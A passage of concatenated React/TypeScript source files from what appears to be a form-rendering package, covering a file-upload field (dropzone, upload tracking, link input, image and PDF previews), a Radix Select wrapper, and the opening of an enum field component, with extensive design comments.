that a\n // file can never be taken with nowhere to go - the bug this guards is a\n // picked file handed to a callback that did nothing, in silence.\n if (!onDropFile) return;\n if (!isAcceptedFile(formats, file)) {\n // Refuse BEFORE the object URL and before `onDropFile`: a host's\n // uploader is a network call and often a billed one, and a file the\n // runtime cannot decode has no business reaching it.\n setRejected({ kind: 'type', name: file.name, over: value?.url });\n return;\n }\n setRejected(null);\n setDismissedUploadError(null);\n track(file, onDropFile(file), value?.url);\n },\n [formats, onDropFile, track, value?.url],\n );\n\n // A file the list's drop area placed in this row: handed to the host by the\n // list, and from here on the row's own, as if it had been dropped on it. The\n // row held no file when it was handed over, since the area fills only a row\n // that holds none, and that is what the watch is given: by the time this\n // effect runs, a host that writes as it is handed the file has already\n // written, and the URL the row holds now is the upload's own result.\n useEffect(() => {\n const placed = dropArea?.takePlaced(id);\n if (!placed) return;\n setRejected(null);\n setDismissedUploadError(null);\n track(placed.file, placed.upload, undefined);\n }, [dropArea, id, track]);\n\n const busy = disabled || uploading;\n\n const {\n getRootProps,\n getInputProps,\n isDragActive,\n open: openFileDialog,\n } = useDropzone({\n maxFiles: 1,\n multiple: false,\n // Disabled, not merely unrendered, when there is no upload path: the hook\n // cannot be skipped, and nothing may open a picker through it.\n disabled: busy || !canUpload,\n // Filters the OS picker so a wrong file is hard to choose in the first\n // place. It is NOT the enforcement: a drag-and-drop bypasses the picker\n // entirely, and a browser reporting an empty `File.type` slips through\n // react-dropzone's own matcher. `handleFile` is where the answer is\n // decided; this is the affordance in front of it.\n accept,\n // The tab stop belongs on the INPUT, not on this div - see the root element\n // below. Without this, react-dropzone puts `tabIndex: 0` and its own key\n // handlers on a `role=\"presentation\"` div, and the element a keyboard or\n // voice-control user lands on is a generic with no role and no name.\n noKeyboard: true,\n // Every drop and pick lands here, the files react-dropzone's own matcher\n // refused included. Those must be answered: left alone, a wrong drop is\n // silently swallowed, which reads as a broken dropzone rather than a\n // refused file.\n onDrop: (accepted, rejections) => {\n // Several files at once are refused as a batch, whatever their types,\n // and none reaches the host. react-dropzone rejects a batch of\n // acceptable files as `too-many-files`, which used to be reported as\n // the first file's type being unsupported, and it takes the one\n // acceptable file out of a batch whose others it refuses by type, which\n // uploaded one file of a batch with nothing said about the choice.\n if (accepted.length + rejections.length > 1) {\n setRejected({ kind: 'batch', over: value?.url });\n return;\n }\n const file = accepted[0];\n if (file) {\n handleFile(file);\n return;\n }\n const name = rejections[0]?.file.name;\n if (name) setRejected({ kind: 'type', name, over: value?.url });\n },\n });\n\n const clear = useCallback(() => {\n setLocal(null);\n setResolved(null);\n setPreviewOpen(false);\n setRejected(null);\n dismissUploadError();\n onChange(undefined);\n }, [setLocal, onChange, dismissUploadError]);\n\n // A file chosen from the host's files is written as an upload's result is,\n // and like a typed link it leaves any earlier upload behind: the preview of a\n // dropped file, a refusal, a failure on screen.\n const chooseFromSource = useCallback(\n (file: Parameters<typeof sourceFileValue>[0]) => {\n setLocal(null);\n setResolved(null);\n setRejected(null);\n dismissUploadError();\n onChange(sourceFileValue(file));\n },\n [setLocal, onChange, dismissUploadError],\n );\n\n // Whether the local preview still describes the value on screen. Computed in\n // render rather than left to the effect below, so the frame in which the host\n // writes a different file does not show the old one.\n const localIsCurrent = !!localPreview && describesValue(localPreview, value?.url);\n\n // An upload the host says failed: nothing will arrive for the preview.\n useEffect(() => {\n if (!localPreview || localPreview.boundUrl !== undefined) return;\n if (failure !== null) setLocal(null);\n }, [failure, localPreview, setLocal]);\n\n // The refusal on screen: only over the value it was made for. See `Refusal`.\n const refusal = rejected !== null && rejected.over === value?.url ? rejected : null;\n\n // A file written into the value after a failure or a refusal is a newer\n // answer than either, whoever wrote it: the list's sheet or its drop area\n // filling this row, an example filling the form. The field's own ways in\n // dismiss both themselves; this is the same for every other writer. A\n // refusal used to stay, and once the new file was in, it read as that file\n // being unsupported. Forgotten here rather than only hidden by `refusal`, so\n // a writer that empties the field again does not bring it back.\n const lastUrl = useRef(value?.url);\n useEffect(() => {\n if (lastUrl.current === value?.url) return;\n lastUrl.current = value?.url;\n if (uploadError !== undefined) setDismissedUploadError(uploadError);\n setRejected(null);\n }, [value?.url, uploadError]);\n\n useEffect(() => {\n if (!localPreview) return;\n if (localPreview.boundUrl !== undefined) {\n if (value?.url !== localPreview.boundUrl) setLocal(null);\n return;\n }\n if (uploading) {\n urlInFlight.current = value?.url;\n flightSeen.current = true;\n }\n // The upload said where it stored the file, so its result is the value\n // holding that URL, whenever the host writes it: before the flight ends,\n // in the same render, or after. Nothing else is adopted, and until it\n // lands the preview describes nothing on screen.\n if (localPreview.storedUrl !== undefined) {\n if (value?.url === localPreview.storedUrl) {\n setLocalPreview({ ...localPreview, boundUrl: localPreview.storedUrl });\n }\n return;\n }\n // Still waiting: on the upload's answer, or on the host's write, for which\n // `uploading` is the honest signal. A host that reports neither falls back\n // to \"the first URL to appear\", which for the ordinary case - an empty\n // field the user drops into - is the same moment.\n if (uploading || localPreview.awaitingUpload) return;\n // No answer to match, so the upload's result is told by when it lands.\n if (!value?.url) {\n // An upload over without a value: it failed, or the form forgot it.\n if (flightSeen.current) setLocal(null);\n return;\n }\n // Someone else's file, written while the upload was in flight, and left\n // standing as it stopped: not this upload's result.\n if (value.url === urlInFlight.current) {\n setLocal(null);\n return;\n }\n setLocalPreview({ ...localPreview, boundUrl: value.url });\n }, [localPreview, value?.url, uploading, setLocal]);\n\n const hasFile = !!value?.url;\n const localType = localIsCurrent ? localPreview?.type : undefined;\n // Sniffed SEPARATELY, because they used to be concatenated into one string\n // and tested with `/\\.pdf(\\?|$)/i` - so a filename's extension was always\n // followed by a space and could never match. Only a URL that carried its own\n // extension was ever previewable; a `data:` URL or an opaque storage id with\n // a perfectly good filename beside it was not offered a preview at all.\n const filename = value?.filename ?? '';\n const url = value?.url ?? '';\n const urlMime = dataUrlMime(url);\n\n const isImage =\n category === 'image' ||\n localType?.startsWith('image/') === true ||\n urlMime?.startsWith('image/') === true ||\n IMAGE_EXT_RE.test(filename) ||\n IMAGE_EXT_RE.test(url);\n const isPdf =\n localType === 'application/pdf' ||\n urlMime === 'application/pdf' ||\n PDF_EXT_RE.test(filename) ||\n PDF_EXT_RE.test(url);\n const canPreview = isImage || isPdf;\n\n // The gate's own string, not a yes-or-no over the raw member: what is judged\n // is what is painted, here as everywhere else the package touches a URL.\n const directSrc = viewableUrl(value?.url);\n // A reference the browser cannot render, for the host's resolver to turn into\n // one. Keyed on the value being a REFERENCE rather than on \"the gate said no\":\n // a `data:` URL carries its own bytes, so no resolver can resolve one, and a\n // refused one is refused rather than pending. Routing it here is what turned\n // an allow-list miss into the spinner that never stops - the exact failure the\n // note above the `data:` arm says was fixed.\n const storageUri = value?.url && !directSrc && urlMime === undefined ? value.url : null;\n useEffect(() => {\n if (!previewOpen || !storageUri || localIsCurrent || !resolveUrl) return;\n let cancelled = false;\n void resolveUrl(storageUri)\n .then((src) => {\n // A resolver that ANSWERS with nothing is the same outcome as one that\n // rejects, and it has to be recorded as one. Skipping `setResolved` on\n // an empty answer left the previous resolution standing, and it was not\n // even stale by URI - reopening the SAME file after its signed URL\n // expired kept painting the dead URL under a resolver that had just\n // said it had none. It is recorded against the URI, like a URL, because\n // recording it as no answer at all kept the preview pending forever.\n if (!cancelled) setResolved({ uri: storageUri, src: src || null });\n })\n .catch(() => {\n // A resolution that failed must leave the placeholder, not the file\n // before it - and must not escape as an unhandled rejection into the\n // host's app. `resolveUrl` is a network call; rejecting is ordinary.\n if (!cancelled) setResolved({ uri: storageUri, src: null });\n });\n return () => {\n cancelled = true;\n };\n }, [previewOpen, storageUri, localIsCurrent, resolveUrl]);\n\n // A browser-viewable source: the local object URL, a directly-viewable URL, or\n // a resolved presigned URL for a stored file. The resolution counts only while\n // it still belongs to the value on screen, which is what makes staleness\n // impossible rather than merely brief: clearing it from an effect would still\n // paint one frame of the old file, exactly as `localIsCurrent` above is\n // computed in render for the same reason.\n //\n // A resolver's answer is judged by the same gate as any payload member. The\n // resolver is trusted to know where a host's objects live, not to be a way\n // past the URL policy - and this is the sink the seam's contract documents, so\n // it has to be the sink that keeps it.\n const resolvedSrc =\n resolved && resolved.uri === storageUri ? viewableUrl(resolved.src ?? undefined) : undefined;\n const previewSrc =\n (localIsCurrent ? localPreview?.objectUrl : undefined) ?? directSrc ?? resolvedSrc;\n // Whether anything can still arrive: there is a reference to resolve, a\n // resolver to resolve it, and no answer has landed FOR IT yet. Without this\n // the \"nothing to show\" case and the \"still waiting\" case rendered the same\n // spinner, so a refusal read as a load that never finished. The resolver is\n // part of the question because the effect above never starts without one, so\n // with no resolver nothing is on its way. Keyed by URI for the same reason\n // `resolvedSrc` is: an answer belonging to the previous value is not an answer\n // about this one.\n const previewPending =\n !previewSrc && !!storageUri && !!resolveUrl && resolved?.uri !== storageUri;\n\n const togglePreview = () => {\n // Opening the preview asks the resolver again, so a refusal it gave last\n // time must not stand in for the answer now on its way: forgetting it lets\n // the retry read as pending. A URL it gave is kept and painted until the\n // fresh one lands, as before.\n if (!previewOpen) setResolved((r) => (r?.src === null ? null : r));\n setPreviewOpen((v) => !v);\n };\n\n // What the link input shows. In `app` it must not print a reference only the\n // host can resolve: the input can be open while a stored file is the value -\n // opened after the file was attached, left open through an upload, or written\n // into by the host - and it used to show the `pipelex-storage://` address in\n // full. So it shows a readable link (a web link, or text with no scheme) and\n // the text it typed itself, and nothing else. The typed-text clause is what\n // keeps typing intact, since every keystroke IS that text - `https:` on its\n // way to `https://…` carries a scheme and is not a web link yet. `studio`\n // shows the value as it is, as its card does.\n const urlValue = value?.url ?? '';\n const urlText =\n presentation === 'studio' || isReadableLink(urlValue) || urlValue === typedUrl ? urlValue : '';\n\n // A host that offers neither way in has made a configuration error, and it is\n // reported the way `narrowFileFormats` reports a slot left accepting nothing:\n // loudly, where the host can see it, naming the path it would write back to.\n // Rendering a field that can never be filled instead would ship a developer's\n // message to an end user and, on a required field, keep the run shut in\n // silence - the failure this rule exists to remove. It fires per rendered\n // file field, so a host that switches links off and never uploads can still\n // render every method with no file input. A file source is a way in of its\n // own: a host may offer only the files it already stores.\n const canChoose = fileSource !== undefined;\n if (!canUpload && !allowUrl && !canChoose) {\n throw new Error(\n `The file field at \"${id}\" has no way in: the form's environment supplies no onDropFile and no fileSource, and sets allowUrl to false. Supply onDropFile so the file can be uploaded, leave allowUrl unset so a link can be pasted, or supply a fileSource so a stored file can be chosen.`,\n );\n }\n\n // Open from the start when a link is the only way in; behind the toggle when\n // it is the second way beside an upload; never when the host switched it off.\n const linkOpen = allowUrl && (!canUpload || showUrl);\n // The line that stands where the dropzone would, for as long as it would. It\n // says a link may be pasted instead, so it stands only where one may be.\n const noUploadLineShown = !canUpload && allowUrl && !hasFile && !uploading;\n // With neither an upload nor a link, the team's files are the only way in,\n // and the field's label names their row.\n const choosingOnly = !canUpload && !allowUrl;\n const noUploadLineId = `${domId}-no-upload`;\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category={category}\n description={field.description}\n required={!shownAsOptional(field)}\n error={error}\n // Names the file input, the way every other control in the set names its\n // own - or the link input, when there is no upload and so no file input.\n // Without it `FieldShell` renders the title as a `<div>` bound to nothing\n // and the input's accessible name computes to the empty string.\n htmlFor={domId}\n >\n {hasFile && !uploading ? (\n <div ref={cardRef} tabIndex={-1} className=\"space-y-2 outline-none\">\n <FileChip\n value={value}\n formats={formats}\n presentation={presentation}\n disabled={disabled}\n onClear={clear}\n canPreview={canPreview}\n previewOpen={previewOpen}\n onTogglePreview={togglePreview}\n />\n {previewOpen &&\n (previewSrc && isImage ? (\n <ImagePreview src={previewSrc} filename={value?.filename} />\n ) : previewSrc && isPdf ? (\n <PdfPreview src={previewSrc} />\n ) : previewPending ? (\n <div className=\"flex h-24 items-center justify-center rounded-md border border-border bg-muted\">\n <Loader2 className=\"h-4 w-4 animate-spin text-muted-foreground\" />\n </div>\n ) : (\n // Nothing to show and nothing on its way: a reference the gate\n // refuses, or a stored one with no resolver behind it. A spinner\n // here said \"loading\" about something that was never going to\n // load, which is the one thing a refusal must not look like.\n <div className=\"flex h-24 items-center justify-center rounded-md border border-border bg-muted\">\n <ImageOff className=\"h-5 w-5 text-muted-foreground\" />\n </div>\n ))}\n </div>\n ) : !canUpload ? (\n // No upload path, so no dropzone and no picker: a control that takes a\n // file with nowhere to send it drops the file without a word. The line\n // says why the link input below is the way in, and the hint says what\n // that link has to point at.\n <div className=\"space-y-0.5\">\n {uploading ? (\n <p className=\"flex items-center gap-1.5 text-[12px] text-muted-foreground\">\n <Loader2 className=\"h-3.5 w-3.5 animate-spin\" />\n {s.uploading}\n </p>\n ) : (\n <>\n {noUploadLineShown && (\n <p id={noUploadLineId} className=\"text-[12px] text-muted-foreground\">\n {s.uploadUnavailable}\n </p>\n )}\n {hint && <p className=\"font-mono text-[10.5px] text-muted-foreground\">{hint}</p>}\n </>\n )}\n </div>\n ) : (\n // `role=\"presentation\"` and no tab stop: this div is the drop TARGET and\n // the visual affordance, and the control inside it is a real\n // `<input type=\"file\">`, which already has the right role and now has a\n // name. Giving the div a `role=\"button\"` of its own would put a second\n // named control in the accessibility tree for one value. The focus\n // outline is `focus-within` because the element that takes focus is\n // clip-hidden.\n <div\n {...getRootProps()}\n className={cn(\n 'flex flex-col items-center justify-center gap-2 rounded-lg border border-dashed px-4 py-6 text-center',\n 'cursor-pointer select-none transition-colors',\n focusWithinOutlineClass,\n isDragActive\n ? 'border-primary/60 bg-primary/5'\n : 'border-border bg-input hover:border-border hover:bg-muted',\n busy && 'cursor-not-allowed opacity-60',\n )}\n >\n <input\n {...getInputProps({ tabIndex: 0 })}\n id={domId}\n disabled={busy}\n aria-invalid={!!error}\n />\n {uploading ? (\n <>\n <Loader2 className=\"h-5 w-5 animate-spin text-muted-foreground\" />\n <p className=\"text-[12px] text-muted-foreground\">{s.uploading}</p>\n </>\n ) : (\n <>\n <Upload className=\"h-5 w-5 text-muted-foreground\" strokeWidth={1.75} />\n <div className=\"space-y-0.5\">\n <p className=\"text-[13px] text-foreground\">\n {isDragActive ? s.dropToUpload : s.dropOrBrowse}\n </p>\n {hint && <p className=\"font-mono text-[10.5px] text-muted-foreground\">{hint}</p>}\n </div>\n </>\n )}\n </div>\n )}\n\n {/* The refusal, or the host's upload failure: one slot, holding whichever\n came from the user's latest action. `role=\"alert\"` because it appears\n in response to something the user just did and is the only feedback\n that the action had no effect - a screen-reader user who drops a .zip\n otherwise gets silence. A refusal names the file so the message is\n about the thing they picked, not a generic complaint; a failure is the\n host's own words, shown on the field that took the file. */}\n {!busy &&\n (refusal ? (\n <p role=\"alert\" className=\"text-[12px] text-destructive\">\n {refusal.kind === 'type' ? (\n <>\n <span className=\"font-mono\">{refusal.name}</span> — {s.unsupportedFileType(hint)}\n </>\n ) : dropArea?.open ? (\n // Pointed to only while it takes files: a full list's area is\n // shut, and would refuse the very drop this sends there.\n s.oneFileOnlyInList\n ) : (\n s.oneFileOnly\n )}\n </p>\n ) : (\n failure && (\n <p role=\"alert\" className=\"text-[12px] text-destructive\">\n {failure}\n </p>\n )\n ))}\n\n {/* URL escape hatch - collapsed by default to keep the happy path clean.\n It reads `busy`, not `disabled`: an upload is a door into this value\n like any other, and leaving these two live while the dropzone was shut\n let a user paste a URL over a file that was still arriving - or, on the\n host side, abandon a started and billed run client-side. The seam\n promises the control is disabled while its id is uploading, and that\n has to mean every way in. With no upload path it is not an escape\n hatch but the only way in, so it is open from the start; with\n `allowUrl` off it is not offered at all. */}\n {linkOpen ? (\n <input\n type=\"text\"\n // With no file input, this is the control the field's label names.\n id={canUpload ? undefined : domId}\n // Focus follows the click that opened it. Rendered from the start, the\n // same attribute would pull focus into the form on page load - and on\n // a form with several file fields, the last one would win.\n autoFocus={showUrl}\n value={urlText}\n disabled={busy}\n // A name of its own. In the upload case the field's label is bound to\n // the file input, so without this the placeholder was the only thing\n // a screen reader announced here - and the placeholder used to name a\n // storage scheme. With no upload, it still says what the input is for.\n aria-label={s.fileUrlAria(fieldLabel(field.title, field.name, presentation))}\n aria-describedby={noUploadLineShown ? noUploadLineId : undefined}\n aria-invalid={canUpload ? undefined : !!error}\n placeholder={s.urlPlaceholder}\n onChange={(e) => {\n setLocal(null);\n // A link typed after a failed upload is the user moving past it.\n dismissUploadError();\n setTypedUrl(e.target.value);\n onChange(e.target.value ? { url: e.target.value } : undefined);\n }}\n className={cn(fieldControlClass, 'h-9 px-3 font-mono text-[12px]')}\n />\n ) : (\n allowUrl && (\n <button\n type=\"button\"\n disabled={busy}\n onClick={() => setShowUrl(true)}\n className={cn(\n 'flex w-fit items-center gap-1 rounded-sm text-[11px] text-muted-foreground transition-colors hover:text-foreground disabled:opacity-50 max-sm:min-h-11',\n presentation !== 'app' && 'font-mono',\n focusOutlineClass,\n 'focus-visible:outline-offset-2',\n )}\n >\n <Link2 className=\"h-3 w-3\" />\n {s.pasteUrlInstead}\n </button>\n )\n )}\n\n {/* The host's files: a way in beside the upload and the link, offered\n while the field holds no file, as the dropzone is, and shut while a\n file is arriving, as every other way in is. */}\n {fileSource && !hasFile && (\n <FilePickerEntry\n ref={pickerEntryRef}\n id={choosingOnly ? domId : undefined}\n label={fieldLabel(field.title, field.name, presentation)}\n disabled={busy}\n onOpen={() => setPickerOpen(true)}\n />\n )}\n {fileSource && (\n <FilePicker\n source={fileSource}\n formats={formats}\n open={pickerOpen}\n onOpenChange={setPickerOpen}\n onUse={(files) => {\n const file = files[0];\n if (file) chooseFromSource(file);\n }}\n onUpload={canUpload ? openFileDialog : undefined}\n disabled={busy}\n returnFocusTo={pickerEntryRef}\n // The row that opened the sheet is gone once a file is chosen, so\n // focus lands on the card that replaced it rather than on nothing.\n onCloseAutoFocus={(event) => {\n if (!cardRef.current) return;\n event.preventDefault();\n cardRef.current.focus();\n }}\n />\n )}\n </FieldShell>\n );\n}\n\nfunction ImagePreview({ src, filename }: { src: string; filename?: string }) {\n const s = useFieldStrings();\n const [broken, setBroken] = useState(false);\n if (broken) {\n return (\n <div className=\"flex h-28 items-center justify-center rounded-md border border-border bg-muted\">\n <ImageOff className=\"h-5 w-5 text-muted-foreground\" />\n </div>\n );\n }\n return (\n <div className=\"flex max-h-[640px] justify-center overflow-auto rounded-md border border-border bg-muted\">\n <img\n src={src}\n alt={filename ?? s.preview}\n // Same rule as the result view's images: nothing this package paints\n // tells a third party which page it was painted on.\n referrerPolicy=\"no-referrer\"\n className=\"h-auto w-full max-w-full object-contain\"\n onError={() => setBroken(true)}\n />\n </div>\n );\n}\n\nfunction PdfPreview({ src }: { src: string }) {\n const s = useFieldStrings();\n // A tall viewport so the whole document is readable; the browser's native PDF\n // viewer scrolls/paginates within it. `#view=FitH` fits the page width.\n return (\n <object\n data={`${src}#view=FitH`}\n type=\"application/pdf\"\n className=\"h-[78vh] min-h-[520px] w-full rounded-md border border-border bg-muted\"\n >\n <div className=\"flex h-28 flex-col items-center justify-center gap-1.5 text-center\">\n <FileText className=\"h-5 w-5 text-muted-foreground\" />\n <p className=\"text-[12px] text-muted-foreground\">{s.previewUnavailablePdf}</p>\n </div>\n </object>\n );\n}\n\n/**\n * The line under an attached file's name, or `undefined` for none.\n *\n * What the value holds decides it, because each case means something different\n * to the person looking at the card:\n *\n * - A `data:` URL IS the file, so it is named by its format and size rather\n * than printed as forty thousand characters of base64.\n * - An `http` or `https` URL, or text with no scheme at all, is a link the\n * person can read, usually one they typed or pasted, so it is shown back to\n * them as it is (`isReadableLink`).\n * - Any other reference - a `pipelex-storage://` URI above all - is an address\n * only the host can resolve. In `app` it is replaced by the format the\n * filename's extension names, when that is one of the slot's formats, and by\n * nothing otherwise: the person who just chose the file has no use for its\n * storage address, and printing it is how one reached an end user's screen.\n * - In `studio` that reference stays printed, because a builder may need it.\n */\nfunction fileChipSubtitle(\n url: string | undefined,\n filename: string | undefined,\n formats: readonly FileFormat[],\n presentation: FieldPresentation,\n strings: FieldStrings,\n): string | undefined {\n if (url === undefined) return undefined;\n const summary = encodedFileSummary(url, strings);\n if (summary !== undefined) return summary;\n if (presentation === 'studio' || isReadableLink(url)) return url;\n return filename ? formatOfFilename(formats, filename)?.label : undefined;\n}\n\nfunction FileChip({\n value,\n formats,\n presentation,\n disabled,\n onClear,\n canPreview,\n previewOpen,\n onTogglePreview,\n}: {\n value: FileValue | undefined;\n formats: readonly FileFormat[];\n presentation: FieldPresentation;\n disabled?: boolean;\n onClear: () => void;\n canPreview?: boolean;\n previewOpen?: boolean;\n onTogglePreview?: () => void;\n}) {\n const s = useFieldStrings();\n const url = value?.url;\n const filename = value?.filename;\n // Memoised because a `data:` URL's summary counts the whole payload, and the\n // chip re-renders on every keystroke elsewhere in the form.\n const subtitle = useMemo(\n () => fileChipSubtitle(url, filename, formats, presentation, s),\n [url, filename, formats, presentation, s],\n );\n // The name keeps a readable share of a narrow card. Its block never shrinks\n // below `basis-32` (about eighteen characters before the ellipsis); when the\n // row cannot hold that and the buttons, the buttons wrap under the name and\n // keep to the right, rather than squeezing it to a letter. `contain:\n // inline-size` keeps a long name out of the card's minimum width, so a form\n // laid out in a grid or a flex column does not widen past its page to fit it.\n // On a desktop the row holds all of it, and nothing moves.\n return (\n <div className=\"flex flex-wrap items-center gap-x-3 gap-y-2 rounded-md border border-border bg-input px-3 py-2.5\">\n <span className=\"flex h-8 w-8 shrink-0 items-center justify-center rounded-md bg-muted\">\n <FileText className=\"h-4 w-4 text-muted-foreground\" />\n </span>\n <div className=\"min-w-0 flex-1 basis-32 [contain:inline-size]\">\n <p className=\"truncate text-[13px] font-medium text-foreground\">\n {value?.filename ?? s.uploadedFile}\n </p>\n {subtitle && (\n <p className=\"truncate font-mono text-[10.5px] text-muted-foreground\">{subtitle}</p>\n )}\n </div>\n <div className=\"ml-auto flex shrink-0 items-center gap-3\">\n {canPreview && (\n <button\n type=\"button\"\n onClick={onTogglePreview}\n className={cn(\n 'inline-flex h-7 shrink-0 items-center gap-1 rounded-md border border-border px-2 text-[11px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground max-sm:h-11 max-sm:px-3',\n focusOutlineClass,\n )}\n >\n {previewOpen ? <EyeOff className=\"h-3.5 w-3.5\" /> : <Eye className=\"h-3.5 w-3.5\" />}\n {s.preview}\n </button>\n )}\n <ClearButton disabled={disabled} onClick={onClear} />\n </div>\n </div>\n );\n}\n\nfunction ClearButton({ disabled, onClick }: { disabled?: boolean; onClick: () => void }) {\n const s = useFieldStrings();\n return (\n <button\n type=\"button\"\n onClick={onClick}\n disabled={disabled}\n aria-label={s.removeFileAria}\n className={cn(\n 'flex h-7 w-7 shrink-0 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-50 max-sm:size-11',\n focusOutlineClass,\n )}\n >\n <X className=\"h-4 w-4\" />\n </button>\n );\n}\n","'use client';\n\nimport * as React from 'react';\nimport * as SelectPrimitive from '@radix-ui/react-select';\nimport { Check, ChevronDown, ChevronUp } from 'lucide-react';\n\nimport { cn } from '../utils';\n\nconst Select = SelectPrimitive.Root;\n\nconst SelectGroup = SelectPrimitive.Group;\n\nconst SelectValue = SelectPrimitive.Value;\n\nconst SelectTrigger = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Trigger\n ref={ref}\n className={cn(\n // Adapted from the registry to DESIGN.md (\"Inputs\"): the `--input` surface,\n // a hairline `--border`, and a border-color focus signal instead of the\n // upstream 2px focus ring (\"No focus glow by default\").\n 'flex h-10 w-full items-center justify-between rounded-md border border-border bg-input px-3 py-2 text-sm transition-colors data-placeholder:text-muted-foreground focus:border-ring focus:outline-hidden disabled:cursor-not-allowed disabled:opacity-50 aria-invalid:border-destructive [&>span]:line-clamp-1',\n className,\n )}\n {...props}\n >\n {children}\n <SelectPrimitive.Icon asChild>\n <ChevronDown className=\"h-4 w-4 opacity-50\" />\n </SelectPrimitive.Icon>\n </SelectPrimitive.Trigger>\n));\nSelectTrigger.displayName = SelectPrimitive.Trigger.displayName;\n\nconst SelectScrollUpButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollUpButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollUpButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollUpButton\n ref={ref}\n className={cn('flex cursor-default items-center justify-center py-1', className)}\n {...props}\n >\n <ChevronUp className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollUpButton>\n));\nSelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName;\n\nconst SelectScrollDownButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollDownButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollDownButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollDownButton\n ref={ref}\n className={cn('flex cursor-default items-center justify-center py-1', className)}\n {...props}\n >\n <ChevronDown className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollDownButton>\n));\nSelectScrollDownButton.displayName = SelectPrimitive.ScrollDownButton.displayName;\n\nconst SelectContent = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>\n>(({ className, children, position = 'popper', ...props }, ref) => (\n <SelectPrimitive.Portal>\n <SelectPrimitive.Content\n ref={ref}\n className={cn(\n 'relative z-50 max-h-(--radix-select-content-available-height) min-w-32 overflow-y-auto overflow-x-hidden rounded-md border border-border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-(--radix-select-content-transform-origin)',\n position === 'popper' &&\n 'data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1',\n className,\n )}\n position={position}\n {...props}\n >\n <SelectScrollUpButton />\n <SelectPrimitive.Viewport\n className={cn(\n 'p-1',\n position === 'popper' &&\n 'h-(--radix-select-trigger-height) w-full min-w-(--radix-select-trigger-width)',\n )}\n >\n {children}\n </SelectPrimitive.Viewport>\n <SelectScrollDownButton />\n </SelectPrimitive.Content>\n </SelectPrimitive.Portal>\n));\nSelectContent.displayName = SelectPrimitive.Content.displayName;\n\nconst SelectLabel = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Label\n ref={ref}\n className={cn('py-1.5 pl-8 pr-2 text-sm font-semibold', className)}\n {...props}\n />\n));\nSelectLabel.displayName = SelectPrimitive.Label.displayName;\n\nconst SelectItem = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Item\n ref={ref}\n className={cn(\n 'relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-hidden focus:bg-accent focus:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50',\n className,\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <SelectPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </SelectPrimitive.ItemIndicator>\n </span>\n\n <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n </SelectPrimitive.Item>\n));\nSelectItem.displayName = SelectPrimitive.Item.displayName;\n\nconst SelectSeparator = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Separator\n ref={ref}\n className={cn('-mx-1 my-1 h-px bg-muted', className)}\n {...props}\n />\n));\nSelectSeparator.displayName = SelectPrimitive.Separator.displayName;\n\nexport {\n Select,\n SelectGroup,\n SelectValue,\n SelectTrigger,\n SelectContent,\n SelectLabel,\n SelectItem,\n SelectSeparator,\n SelectScrollUpButton,\n SelectScrollDownButton,\n};\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { Check } from 'lucide-react';\nimport { linkTextClass, selectedStateBorderClass } from './role-tokens';\nimport { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from './ui/select';\nimport { ToggleGroup, ToggleGroupItem } from './ui/toggle-group';\nimport type { EnumRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { useFieldDomId } from './field-dom-id';\nimport { enumLabeler, fieldLabel, useFieldPresentation } from './field-presentation';\nimport { cn } from './utils';\n\ninterface EnumFieldProps {\n field: EnumRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Radix `Select` cannot carry an item whose value is `\"\"` - it reserves the empty\n * string for \"no selection\". The field is optional and was clearable through a\n * blank `<option>`, so the clear entry rides a sentinel instead and maps back to\n * `undefined` on the way out.\n */\nconst CLEAR_VALUE = '__none__';\n\n/**\n * Pick-one. A short option set (≤4, each label brief) renders as a segmented\n * control - every choice visible at a glance - and falls back to a select once\n * the set grows past what fits on a row.\n *\n * An option's LABEL follows the presentation and its value does not. In `app`\n * a person picks \"Unit price differs from po\" and the form stores\n * `unit_price_differs_from_po`, because the 